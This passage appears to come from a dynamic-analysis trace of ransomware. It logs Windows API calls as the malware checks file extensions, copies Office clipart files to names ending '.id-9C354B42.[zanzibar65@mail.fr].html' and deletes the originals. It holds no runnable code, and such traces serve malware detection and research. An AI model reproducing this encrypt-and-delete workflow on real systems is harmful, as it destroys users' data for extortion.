lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0048.785] GetFileSizeEx (in: hFile=0x1f0, lpFileSize=0x2ebff1c | out: lpFileSize=0x2ebff1c*=10607) returned 1 [0048.785] CloseHandle (hObject=0x1f0) returned 1 [0048.785] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00139_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00139_.gif")) returned 0x20 [0048.785] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00139_.GIF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00139_.gif.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0048.785] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00139_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00139_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0048.785] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0048.785] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0048.785] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00139_.GIF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00139_.gif.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0048.785] GetLastError () returned 0x0 [0048.785] ReadFile (in: hFile=0x1f0, lpBuffer=0x3a40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesRead=0x2ebfed4*=0x296f, lpOverlapped=0x0) returned 1 [0048.934] WriteFile (in: hFile=0x1f4, lpBuffer=0x3a40020*, nNumberOfBytesToWrite=0x2970, lpNumberOfBytesWritten=0x2ebfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesWritten=0x2ebfc9c*=0x2970, lpOverlapped=0x0) returned 1 [0048.948] ReadFile (in: hFile=0x1f0, lpBuffer=0x3a40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesRead=0x2ebfed4*=0x0, lpOverlapped=0x0) returned 1 [0048.948] WriteFile (in: hFile=0x1f4, lpBuffer=0x3a40020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ebfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesWritten=0x2ebfc9c*=0xec, lpOverlapped=0x0) returned 1 [0048.948] SetEndOfFile (hFile=0x1f4) returned 1 [0048.949] CloseHandle (hObject=0x1f4) returned 1 [0048.949] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0048.949] SetEndOfFile (hFile=0x1f0) returned 1 [0048.949] CloseHandle (hObject=0x1f0) returned 1 [0048.950] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00139_.GIF.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0048.950] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00139_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00139_.gif")) returned 1 [0048.950] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00139_.GIF") returned 63 [0048.950] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00139_.GIF") returned 63 [0048.950] lstrlenW (lpString=".doc") returned 4 [0048.950] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0048.950] lstrlenW (lpString=".docx") returned 5 [0048.950] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0048.950] lstrlenW (lpString=".pdf") returned 4 [0048.950] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0048.950] lstrlenW (lpString=".xls") returned 4 [0048.950] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0048.950] lstrlenW (lpString=".xlsx") returned 5 [0048.950] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0048.950] lstrlenW (lpString=".ppt") returned 4 [0048.950] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0048.951] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00139_.GIF") returned 63 [0048.951] lstrlenW (lpString=".zip") returned 4 [0048.951] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0048.951] lstrlenW (lpString=".rar") returned 4 [0048.951] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0048.951] lstrlenW (lpString=".bz2") returned 4 [0048.951] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0048.951] lstrlenW (lpString=".7z") returned 3 [0048.951] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0048.951] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00139_.GIF") returned 63 [0048.951] lstrlenW (lpString=".dbf") returned 4 [0048.951] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0048.951] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00139_.GIF") returned 63 [0048.951] lstrlenW (lpString=".1cd") returned 4 [0048.951] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0048.951] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00139_.GIF") returned 63 [0048.951] lstrlenW (lpString=".jpg") returned 4 [0048.951] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0048.951] GetFileSizeEx (in: hFile=0x1f0, lpFileSize=0x2ebff1c | out: lpFileSize=0x2ebff1c*=3120) returned 1 [0048.951] CloseHandle (hObject=0x1f0) returned 1 [0048.951] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00176_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00176_.gif")) returned 0x20 [0048.951] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00176_.GIF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00176_.gif.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0048.952] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00176_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00176_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0048.952] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0048.952] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0048.952] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00176_.GIF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00176_.gif.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0048.952] GetLastError () returned 0x0 [0048.952] ReadFile (in: hFile=0x1f0, lpBuffer=0x3a40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesRead=0x2ebfed4*=0xc30, lpOverlapped=0x0) returned 1 [0048.953] WriteFile (in: hFile=0x1f4, lpBuffer=0x3a40020*, nNumberOfBytesToWrite=0xc40, lpNumberOfBytesWritten=0x2ebfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesWritten=0x2ebfc9c*=0xc40, lpOverlapped=0x0) returned 1 [0048.955] ReadFile (in: hFile=0x1f0, lpBuffer=0x3a40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesRead=0x2ebfed4*=0x0, lpOverlapped=0x0) returned 1 [0048.955] WriteFile (in: hFile=0x1f4, lpBuffer=0x3a40020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ebfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesWritten=0x2ebfc9c*=0xec, lpOverlapped=0x0) returned 1 [0048.955] SetEndOfFile (hFile=0x1f4) returned 1 [0048.955] CloseHandle (hObject=0x1f4) returned 1 [0048.955] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0048.955] SetEndOfFile (hFile=0x1f0) returned 1 [0048.956] CloseHandle (hObject=0x1f0) returned 1 [0048.956] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00176_.GIF.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0048.956] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00176_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00176_.gif")) returned 1 [0048.956] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00176_.GIF") returned 63 [0048.956] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00176_.GIF") returned 63 [0048.956] lstrlenW (lpString=".doc") returned 4 [0048.956] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0048.956] lstrlenW (lpString=".docx") returned 5 [0048.956] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0048.956] lstrlenW (lpString=".pdf") returned 4 [0048.956] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0048.956] lstrlenW (lpString=".xls") returned 4 [0048.957] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0048.957] lstrlenW (lpString=".xlsx") returned 5 [0048.957] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0048.957] lstrlenW (lpString=".ppt") returned 4 [0048.957] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0048.957] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00176_.GIF") returned 63 [0048.957] lstrlenW (lpString=".zip") returned 4 [0048.957] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0048.957] lstrlenW (lpString=".rar") returned 4 [0048.957] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0048.957] lstrlenW (lpString=".bz2") returned 4 [0048.957] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0048.957] lstrlenW (lpString=".7z") returned 3 [0048.957] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0048.957] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00176_.GIF") returned 63 [0048.957] lstrlenW (lpString=".dbf") returned 4 [0048.957] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0048.957] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00176_.GIF") returned 63 [0048.957] lstrlenW (lpString=".1cd") returned 4 [0048.957] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0048.957] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00176_.GIF") returned 63 [0048.957] lstrlenW (lpString=".jpg") returned 4 [0048.957] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0049.174] GetFileSizeEx (in: hFile=0x1f0, lpFileSize=0x2ebff1c | out: lpFileSize=0x2ebff1c*=3026) returned 1 [0049.177] CloseHandle (hObject=0x1f0) returned 1 [0049.179] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00010_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00010_.wmf")) returned 0x20 [0049.179] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00010_.WMF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00010_.wmf.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0049.182] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00010_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00010_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0049.185] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0049.187] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0049.189] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00010_.WMF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00010_.wmf.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0049.194] GetLastError () returned 0x0 [0049.194] ReadFile (in: hFile=0x1f0, lpBuffer=0x3a40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesRead=0x2ebfed4*=0xbd2, lpOverlapped=0x0) returned 1 [0049.211] WriteFile (in: hFile=0x1f4, lpBuffer=0x3a40020*, nNumberOfBytesToWrite=0xbe0, lpNumberOfBytesWritten=0x2ebfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesWritten=0x2ebfc9c*=0xbe0, lpOverlapped=0x0) returned 1 [0049.223] ReadFile (in: hFile=0x1f0, lpBuffer=0x3a40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesRead=0x2ebfed4*=0x0, lpOverlapped=0x0) returned 1 [0049.225] WriteFile (in: hFile=0x1f4, lpBuffer=0x3a40020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ebfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesWritten=0x2ebfc9c*=0xec, lpOverlapped=0x0) returned 1 [0049.226] SetEndOfFile (hFile=0x1f4) returned 1 [0049.229] CloseHandle (hObject=0x1f4) returned 1 [0049.231] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0049.231] SetEndOfFile (hFile=0x1f0) returned 1 [0049.243] CloseHandle (hObject=0x1f0) returned 1 [0049.245] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00010_.WMF.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0049.249] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00010_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00010_.wmf")) returned 1 [0049.253] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00010_.WMF") returned 63 [0049.254] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00010_.WMF") returned 63 [0049.254] lstrlenW (lpString=".doc") returned 4 [0049.254] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0049.254] lstrlenW (lpString=".docx") returned 5 [0049.254] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0049.255] lstrlenW (lpString=".pdf") returned 4 [0049.257] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0049.257] lstrlenW (lpString=".xls") returned 4 [0049.257] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0049.257] lstrlenW (lpString=".xlsx") returned 5 [0049.258] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0049.258] lstrlenW (lpString=".ppt") returned 4 [0049.259] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0049.260] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00010_.WMF") returned 63 [0049.260] lstrlenW (lpString=".zip") returned 4 [0049.261] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0049.261] lstrlenW (lpString=".rar") returned 4 [0049.262] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0049.262] lstrlenW (lpString=".bz2") returned 4 [0049.263] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0049.267] lstrlenW (lpString=".7z") returned 3 [0049.267] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0049.269] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00010_.WMF") returned 63 [0049.269] lstrlenW (lpString=".dbf") returned 4 [0049.269] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0049.269] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00010_.WMF") returned 63 [0049.270] lstrlenW (lpString=".1cd") returned 4 [0049.272] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0049.272] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00010_.WMF") returned 63 [0049.272] lstrlenW (lpString=".jpg") returned 4 [0049.273] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0049.279] GetFileSizeEx (in: hFile=0x1f0, lpFileSize=0x2ebff1c | out: lpFileSize=0x2ebff1c*=4734) returned 1 [0049.279] CloseHandle (hObject=0x1f0) returned 1 [0049.281] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00015_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00015_.wmf")) returned 0x20 [0049.285] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00015_.WMF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00015_.wmf.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0049.287] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00015_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00015_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0049.289] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0049.291] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0049.292] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00015_.WMF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00015_.wmf.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0049.297] GetLastError () returned 0x0 [0049.297] ReadFile (in: hFile=0x1f0, lpBuffer=0x3a40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesRead=0x2ebfed4*=0x127e, lpOverlapped=0x0) returned 1 [0049.310] WriteFile (in: hFile=0x1f4, lpBuffer=0x3a40020*, nNumberOfBytesToWrite=0x1280, lpNumberOfBytesWritten=0x2ebfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesWritten=0x2ebfc9c*=0x1280, lpOverlapped=0x0) returned 1 [0049.323] ReadFile (in: hFile=0x1f0, lpBuffer=0x3a40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesRead=0x2ebfed4*=0x0, lpOverlapped=0x0) returned 1 [0049.325] WriteFile (in: hFile=0x1f4, lpBuffer=0x3a40020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ebfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesWritten=0x2ebfc9c*=0xec, lpOverlapped=0x0) returned 1 [0049.326] SetEndOfFile (hFile=0x1f4) returned 1 [0049.332] CloseHandle (hObject=0x1f4) returned 1 [0049.333] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0049.333] SetEndOfFile (hFile=0x1f0) returned 1 [0049.346] CloseHandle (hObject=0x1f0) returned 1 [0049.347] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00015_.WMF.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0049.350] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00015_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00015_.wmf")) returned 1 [0049.353] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00015_.WMF") returned 63 [0049.353] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00015_.WMF") returned 63 [0049.354] lstrlenW (lpString=".doc") returned 4 [0049.355] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0049.356] lstrlenW (lpString=".docx") returned 5 [0049.356] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0049.356] lstrlenW (lpString=".pdf") returned 4 [0049.357] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0049.357] lstrlenW (lpString=".xls") returned 4 [0049.358] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0049.358] lstrlenW (lpString=".xlsx") returned 5 [0049.359] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0049.359] lstrlenW (lpString=".ppt") returned 4 [0049.360] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0049.361] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00015_.WMF") returned 63 [0049.361] lstrlenW (lpString=".zip") returned 4 [0049.362] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0049.363] lstrlenW (lpString=".rar") returned 4 [0049.363] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0049.363] lstrlenW (lpString=".bz2") returned 4 [0049.363] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0049.363] lstrlenW (lpString=".7z") returned 3 [0049.365] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0049.365] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00015_.WMF") returned 63 [0049.366] lstrlenW (lpString=".dbf") returned 4 [0049.366] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0049.366] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00015_.WMF") returned 63 [0049.367] lstrlenW (lpString=".1cd") returned 4 [0049.368] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0049.369] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00015_.WMF") returned 63 [0049.369] lstrlenW (lpString=".jpg") returned 4 [0049.369] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0049.379] GetFileSizeEx (in: hFile=0x1f0, lpFileSize=0x2ebff1c | out: lpFileSize=0x2ebff1c*=5684) returned 1 [0049.380] CloseHandle (hObject=0x1f0) returned 1 [0049.382] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00790_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00790_.wmf")) returned 0x20 [0049.383] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00790_.WMF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00790_.wmf.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0049.386] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00790_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00790_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0049.387] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0049.389] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0049.390] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00790_.WMF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00790_.wmf.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0049.391] GetLastError () returned 0x0 [0049.391] ReadFile (in: hFile=0x1f0, lpBuffer=0x3a40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesRead=0x2ebfed4*=0x1634, lpOverlapped=0x0) returned 1 [0049.427] WriteFile (in: hFile=0x1f4, lpBuffer=0x3a40020*, nNumberOfBytesToWrite=0x1640, lpNumberOfBytesWritten=0x2ebfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesWritten=0x2ebfc9c*=0x1640, lpOverlapped=0x0) returned 1 [0049.428] ReadFile (in: hFile=0x1f0, lpBuffer=0x3a40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesRead=0x2ebfed4*=0x0, lpOverlapped=0x0) returned 1 [0049.428] WriteFile (in: hFile=0x1f4, lpBuffer=0x3a40020*, 